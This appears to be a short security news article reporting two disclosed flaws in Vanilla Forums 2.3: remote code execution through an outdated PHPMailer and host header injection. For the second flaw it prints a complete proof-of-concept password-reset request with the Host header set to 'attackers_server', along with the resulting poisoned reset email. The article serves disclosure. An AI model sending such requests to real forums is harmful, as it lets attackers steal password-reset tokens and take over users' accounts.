Home Vulnerabilities Vanilla Forums is affected by a remote code execution vulnerability!

Vanilla Forums is affected by a remote code execution vulnerability!

by Unallocated Author

Dawid Golunski of Legal Hackers has publicly disclosed two critical flaws in Vanilla Forums, the first vulnerability is a remote code execution (CVE-2016-10033) and the second vulnerability is a host header injection (CVE-2016-10073). The vulnerabilities affect the latest version (Vanilla 2.3).

Vanilla is forum software that powers discussions on hundreds of thousands of sites. Built for flexibility and integration, Vanilla is the best, most powerful community solution in the world.

Remote code execution (CVE-2016-10033):
The vulnerabilities exist because Vanilla software is still using a vulnerable version of PHPMailer (an open source PHP libraries used to send emails).
Golunski explained that the PHPMailer exploit makes the Vanilla Forums vulnerable, and it can be used with host header injection to allow attackers to inject arbitrary commands.


Host header injection (CVE-2016-10073):
An attacker may use HTTP HOST header to set the email domain to an arbitrary host. For example, sending the following HTTP request:

POST /vanilla2-3/entry/passwordrequest HTTP/1.1
Host: attackers_server
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 149

hpt=&Target=discussions&ClientHour=2017-05-10+22:00&Email=victim&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON

 

will result in the following email sent to the victim:

 

To: [email protected]
Subject: [Vanilla 2.3] Reset Your Password
X-PHP-Originating-Script: 0:class.phpmailer.php
Date: Thu, 11 May 2017 09:42:13 +0000
Return-Path: [email protected]_server
Message-ID: <[email protected]_server>
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Vanilla 2.3 http://attackers_server/vanilla2-3/=0A=0A=0A=0AReset Your Passw=
ord=0A=0A=0A=0AWe've received a request to change your password at Vanilla =
2.3. If you didn't make this request, please ignore this email.=0A=0A=0A=0A=
Change My Password: http://attackers_server/vanilla2-3/entry/passwordreset/=
2/PdNvqaPnnFaG

The HOST header set to:
Host: attackers_server

The email will have the sender’s address set to [email protected]_server. The password reset link will also be modified and contain the attacker’s server which could allow the hacker to intercept the hash if the victim user clicked on the modified link.

The vulnerabilities are now patched as reported in the Vanilla forums.

You may also like